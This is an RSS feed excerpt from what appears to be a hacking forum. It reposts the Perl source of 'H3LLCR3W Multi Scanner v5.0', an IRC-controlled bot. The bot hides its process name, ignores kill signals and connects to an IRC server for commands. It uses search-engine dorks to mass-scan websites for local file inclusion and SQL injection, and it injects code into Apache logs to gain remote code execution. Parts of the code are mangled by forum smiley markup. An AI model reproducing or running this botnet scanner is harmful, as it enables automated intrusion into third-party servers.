			print $sock &quot;GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n&quot;;
<br />
			my @r = &lt;sock&gt;;
<br />
			$page = &quot;@r&quot;;
<br />
			close($sock);
<br />
		};
<br />
	return $page;
<br />
}
<br />

<br />
sub calculate {
<br />
	my @calculate = ();
<br />
	my %visti = ();
<br />
	foreach my $element (@_) {
<br />
		$element =~ s/\/+/\//g;
<br />
		next if $visti{$element}++;
<br />
		push @calculate, $element;
<br />
	}
<br />
	return @calculate;
<br />
}
<br />

<br />
sub nick {
<br />
	return unless $#_ == 0;
<br />
	sendraw(&quot;NICK $_[0]&quot;);
<br />
}
<br />

<br />
sub notice {
<br />
	return unless $#_ == 1;
<br />
	sendraw(&quot;NOTICE $_[0] :$_[1]&quot;);
<br />
}]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=12#12</guid>
        </item>
        <item>
            <title>H3LLCR3W Multi Scanner v5.0 Final Release</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=11#11</link>
            <description><![CDATA[#!/usr/bin/perl
<br />

<br />
############################################
<br />
# H3LLCR3W Multi Scanner v5.0 Final Release #
<br />
# Coded by Vrs-hCk                         #
<br />
# d00r[at]telkom[dot]net                   #
<br />
# Copyleft © 2009 H3LLCR3W UnderGrounD      #
<br />
############################################
<br />
# perl H3LLCR3W.txt help me !!!             #
<br />
############################################
<br />
# Dipersilahkan yang Ingin Menambah Engine #
<br />
############################################
<br />

<br />
use HTTP::Request;
<br />
use LWP::UserAgent;
<br />
use IO::Socket;
<br />
use IO::Select;
<br />
use Socket;
<br />

<br />
my $fakeproc  = &quot;/usr/local/apache/bin/httpd -DSSL&quot;;
<br />
$ircserver    = &quot;irc.mildnet.org&quot;;
<br />
my $ircport   = &quot;7000&quot;;
<br />
my $nickname  = &quot;SQL-BOT&quot;;
<br />
my $ident     = &quot;kaos&quot;;
<br />
my $channel   = &quot;#aku&quot;;
<br />
my $runner    = &quot;kaos&quot;;
<br />
my $fullname  = '15(7@2KAOS15)';
<br />

<br />
my $rficmd    = '!rfi';
<br />
my $lficmd    = '!lfi';
<br />
my $sqlcmd    = '!asp';
<br />
my $alicmd    = '!ali';
<br />

<br />
#$rfi_result   = &quot;H3LLCR3W&quot;;
<br />
$lfi_test     = &quot;etc/passwd%00&quot;;
<br />
$lfi_output   = &quot;root:(.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)&quot;;
<br />
$sql_test     = &quot;'&quot;;
<br />
$sql_output   = (&quot;Microsoft OLE DB Provider for SQL Server error|'80040e14'&quot;);
<br />

<br />
my $success   = &quot;\n [+] Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n&quot;;
<br />
print $success;
<br />

<br />
$SIG{'INT'}   = 'IGNORE';
<br />
$SIG{'HUP'}   = 'IGNORE';
<br />
$SIG{'TERM'}  = 'IGNORE';
<br />
$SIG{'CHLD'}  = 'IGNORE';
<br />
$SIG{'PS'}    = 'IGNORE';
<br />

<br />
chdir(&quot;/&quot;);
<br />
$ircserver=&quot;$ARGV[0]&quot; if $ARGV[0];
<br />
$0 = &quot;$fakeproc&quot;.&quot;\0&quot;x16;;
<br />
my $pid = fork;
<br />
exit if $pid;
<br />
die &quot;\n [!] Something Wrong !!!: $!&quot; unless defined($pid);
<br />

<br />
our %irc_servers;
<br />
our %DCC;
<br />
my $dcc_sel = new IO::Select-&gt;new();
<br />
$sel_client = IO::Select-&gt;new();
<br />

<br />
sub sendraw {
<br />
	if ($#_ == '1') {
<br />
	my $socket = $_[0];
<br />
	print $socket &quot;$_[1]\n&quot;;
<br />
	} else {
<br />
		print $IRC_cur_socket &quot;$_[0]\n&quot;;
<br />
	}
<br />
}
<br />

<br />
sub connector {
<br />
	my $mynick = $_[0];
<br />
	my $ircserver_con = $_[1];
<br />
	my $ircport_con = $_[2];
<br />
	my $IRC_socket = IO::Socket::INET-&gt;new(Proto=&gt;&quot;tcp&quot;, PeerAddr=&gt;&quot;$ircserver_con&quot;, PeerPort=&gt;$ircport_con) or return(1);
<br />
	if (defined($IRC_socket)) {
<br />
		$IRC_cur_socket = $IRC_socket;
<br />
		$IRC_socket-&gt;autoflush(1);
<br />
		$sel_client-&gt;add($IRC_socket);
<br />
		$irc_servers{$IRC_cur_socket}{'host'} = &quot;$ircserver_con&quot;;
<br />
		$irc_servers{$IRC_cur_socket}{'port'} = &quot;$ircport_con&quot;;
<br />
		$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
<br />
		$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket-&gt;sockhost;
<br />
		nick(&quot;$mynick&quot;);
<br />
		sendraw(&quot;USER $ident &quot;.$IRC_socket-&gt;sockhost.&quot; $ircserver_con :$fullname&quot;);
<br />
		sleep 1;
<br />
	}
<br />
}
<br />

<br />
sub parse {
<br />
	my $servarg = shift;
<br />
	if ($servarg =~ /^PING \<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.*)/) {
<br />
		sendraw(&quot;PONG :$1&quot;);
<br />
	} elsif ($servarg =~ /^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)/) {
<br />
		my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
<br />
		if ($args =~ /^\001VERSION\001$/) {
<br />
			notice(&quot;$pn&quot;, &quot;\001VERSION mIRC v6.17 Khaled Mardam-Bey\001&quot;);
<br />
		}
<br />
		if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
<br />
			my $natrix = $1;
<br />
			my $arg = $2;
<br />
		}
<br />
	}
<br />
	elsif ($servarg =~ /^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\!(.+?)\@(.+?)\s+NICK\s+\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />\S+)/i) {
<br />
		if (lc($1) eq lc($mynick)) {
<br />
			$mynick=$4;
<br />
			$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
<br />
		}
<br />
	} elsif ($servarg =~ m/^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\s+433/i) {
<br />
		nick(&quot;$mynick|&quot;.int rand(999));
<br />
	} elsif ($servarg =~ m/^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\s+001\s+(\S+)\s/i) {
<br />
		$mynick = $2;
<br />
		$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
<br />
		$irc_servers{$IRC_cur_socket}{'nome'} = &quot;$1&quot;;
<br />
		sendraw(&quot;MODE $nickname +Bx&quot;);
<br />
		sendraw(&quot;JOIN $channel&quot;);
<br />
		sendraw(&quot;PRIVMSG $channel :Crot UnderGround&quot;);
<br />
		sendraw(&quot;PRIVMSG $runner :Hi $runner im here !!!&quot;);
<br />
	}
<br />
}
<br />

<br />
my $line_temp;
<br />
while( 1 ) {
<br />
	while (!(keys(%irc_servers))) { connector(&quot;$nickname&quot;, &quot;$ircserver&quot;, &quot;$ircport&quot;); }
<br />
	delete($irc_servers{''}) if (defined($irc_servers{''}));
<br />
	my @ready = $sel_client-&gt;can_read(0);
<br />
	next unless(@ready);
<br />
	foreach $fh (@ready) {
<br />
		$IRC_cur_socket = $fh;
<br />
		$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
<br />
		$nread = sysread($fh, $msg, 4096);
<br />
		if ($nread == 0) {
<br />
			$sel_client-&gt;remove($fh);
<br />
			$fh-&gt;close;
<br />
			delete($irc_servers{$fh});
<br />
		}
<br />
		@lines = split (/\n/, $msg);
<br />
		$msg =~ s/\r\n$//;
<br />

<br />
		#####################################################################
<br />
		############################[ CMD LIST ]#############################
<br />
		#####################################################################
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!help/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Help15) 8,4 $lficmd &lt;bug&gt; &lt;dork&gt; | $sqlcmd &lt;bug&gt; &lt;dork&gt; &quot;);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Help15) 8,4 !id | !engine | !pid | !version | !about &quot;);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Help15) 8,4 Apache Log Injection : $alicmd &lt;host&gt; &lt;port&gt; &quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!id/){
<br />
			&amp;response();
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!version/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Version15)12 Crot Multi Scanner v5.0 Final Release&quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!engine/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Engine15)12 Google, MSN, AllTheWeb, Altavista, ASK, UOL, GigaBlast, LyCos.&quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!pid/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$&quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!about/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2About15)3 Crot Multi Scanner v5.0 Final Release&quot;);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk/&quot;);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2About15)3 Copyleft © 2009 RedTube&quot;);
<br />
		}
<br />

<br />
		#####################################################################
<br />
		###############################[ RFI ]###############################
<br />
		#####################################################################
<br />

<br />
		##################################################################### Google Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;GooGLe&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2Crot15)12 Dork :4 $d0rk&quot;);
<br />
#					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2Crot15)12 File :4 $bugx&quot;);
<br />
#					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2Crot15)7 Search Engine Loading ...&quot;);
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#
<br />
#		##################################################################### AllTheWeb Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;AllTheWeb&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#
<br />
#		##################################################################### MSN Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;MsN&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#		##################################################################### Altavista Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;ALtaViSTa&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#
<br />
#		##################################################################### ASK Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;AsK&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#
<br />
#		##################################################################### UoL Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;UoL&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#
<br />
#		##################################################################### GigaBlast Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;GiGaBLaST&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#
<br />
#		##################################################################### LyCos Engine
<br />
#		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
#			if (my $pid = fork) {
<br />
#				waitpid($pid, 0);
<br />
#			}
<br />
#			else {
<br />
#				if (fork) {	exit; } else {
<br />
#					my $engx = &quot;LyCos&quot;;
<br />
#					my $bugx = $1;
<br />
#					my $d0rk = $2;
<br />
#					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
#				}
<br />
#				exit;
<br />
#			}
<br />
#		}
<br />
#
<br />
#		#####################################################################
<br />
		###############################[ LFI ]###############################
<br />
		#####################################################################
<br />

<br />
		##################################################################### Google Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GooGLe&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2H3LLCR3W15)12 Dork :4 $d0rk&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2H3LLCR3W15)12 File :4 $bugx&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2H3LLCR3W15)7 Search Engine Loading ...&quot;);
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### AllTheWeb Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AllTheWeb&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### MSN Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;MsN&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Altavista Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;ALtaViSTa&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### ASK Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AsK&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### UoL Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;UoL&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### GigaBlast Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GiGaBLaST&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### LyCos Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;LyCos&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		#####################################################################
<br />
		###############################[ SQL ]###############################
<br />
		#####################################################################
<br />

<br />
		##################################################################### Google Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GooGLe&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2H3LLCR3W15)12 Dork :4 $d0rk&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2H3LLCR3W15)12 File :4 $bugx&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2H3LLCR3W15)7 Search Engine Loading ...&quot;);
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### AllTheWeb Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AllTheWeb&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### MSN Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;MsN&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Altavista Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;ALtaViSTa&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### ASK Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AsK&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### UoL Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;UoL&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### GigaBlast Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GiGaBLaST&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />
		
<br />
		##################################################################### Lycos Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;LyCos&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### 
<br />
		##################################################################### Apache Log Injection
<br />
		if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					&amp;injectlog($1,$2);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		for(my $c=0; $c&lt;lines&gt;new(PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; &quot;tcp&quot;) ||
<br />
	die sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)4 Cant Connect to7 &quot;.$host.&quot;:&quot;.$port.&quot;&quot;);
<br />
	print $sock &quot;GET /H3LLCR3W.UnderGrounD &quot;.$php.&quot; HTTP/1.1\r\n&quot;;
<br />
	print $sock &quot;Host: &quot;.$host.&quot;\r\n&quot;;
<br />
	print $sock &quot;Connection: close\r\n\r\n&quot;;
<br />
	close($sock);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)7 &quot;.$host.&quot; 12is Done ...&quot;);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)7 &quot;.$host.&quot; 12RCE Parameter  -&gt;3 c0li&quot;);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)7 &quot;.$host.&quot; 12RCE Identifier -&gt;3 H3LLCR3W.UnderGrounD&quot;);
<br />
}
<br />

<br />
#sub rfiscan() {
<br />
#	my $engz = $_[0];
<br />
#	my $bugz = $_[1];
<br />
#	my $dork = $_[2];
<br />
#	my $contatore = 0;
<br />
#	if ($engz =~ /GooGLe/) {
<br />
#		my @google=&amp;google($dork);
<br />
#		push(@total, @google);
<br />
#	}
<br />
#	if ($engz =~ /AllTheWeb/) {
<br />
#		my @alltheweb=&amp;alltheweb($dork);
<br />
#		push(@total, @alltheweb);
<br />
#	}
<br />
#	if ($engz =~ /MsN/) {
<br />
#		my @msn=&amp;msn($dork);
<br />
#		push(@total, @msn);
<br />
#	}
<br />
#	if ($engz =~ /ALtaViSTa/) {
<br />
#		my @altavista=&amp;altavista($dork);
<br />
#		push(@total, @altavista);
<br />
#	}
<br />
#	if ($engz =~ /AsK/) {
<br />
#		my @ask=&amp;ask($dork);
<br />
#		push(@total, @ask);
<br />
#	}
<br />
#	if ($engz =~ /UoL/) {
<br />
#		my @uol=&amp;uol($dork);
<br />
#		push(@total, @uol);
<br />
#	}
<br />
#	if ($engz =~ /GiGaBLaST/) {
<br />
#		my @gigablast=&amp;gigablast($dork);
<br />
#		push(@total, @gigablast);
<br />
#	}
<br />
#	if ($engz =~ /LyCos/) {
<br />
#		my @lycos=&amp;lycos($dork);
<br />
#		push(@total, @lycos);
<br />
#	}
<br />
#	my @clean=&amp;calculate(@total);
<br />
#	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)12 Total:4 (&quot;.scalar(@total).&quot;)12 Clean:4 (&quot;.scalar(@clean).&quot;)&quot;);
<br />
#	if (scalar(@clean) != 0) {
<br />
#		sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)7 Exploiting4 $dork&quot;);
<br />
#	}
<br />
#	my $uni=scalar(@clean);
<br />
#	foreach my $target (@clean)
<br />
#	{
<br />
#		$contatore++;
<br />
#		if ($contatore==$uni-1){
<br />
#			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)10 Scan Finish for14 $dork&quot;);
<br />
#		}
<br />
#		my $xpl  = &quot;http://&quot;.$target.$bug.$injector.&quot;?&quot;;
<br />
#		my $vuln = &quot;http://&quot;.$target.&quot;12&quot;.$bugz.&quot;7&quot;.$phpshell.&quot;?&quot;;
<br />
#		my $re   = getcontent($xpl);
<br />
#		if($re =~ /$rfi_result/ &amp;&amp; $re =~ /uid=/){
<br />
#			os($xpl);
<br />
#			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 &quot;.$vuln.&quot; 15(7@6&quot;.$os.&quot;15)#(7@3SAFEMODE-OFF15)&quot;);
<br />
#		}
<br />
#		elsif($re =~ /$rfi_result/)
<br />
#		{
<br />
#			os($xpl);
<br />
#			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 &quot;.$vuln.&quot; 15(7@6&quot;.$os.&quot;15)#(7@4SAFEMODE-ON15)&quot;);
<br />
#		}
<br />
#	}
<br />
#}
<br />
#
<br />
sub lfiscan() {
<br />
	my $engz = $_[0];
<br />
	my $bugz = $_[1];
<br />
	my $dork = $_[2];
<br />
	my $contatore = 0;	
<br />
	if ($engz =~ /GooGLe/) {
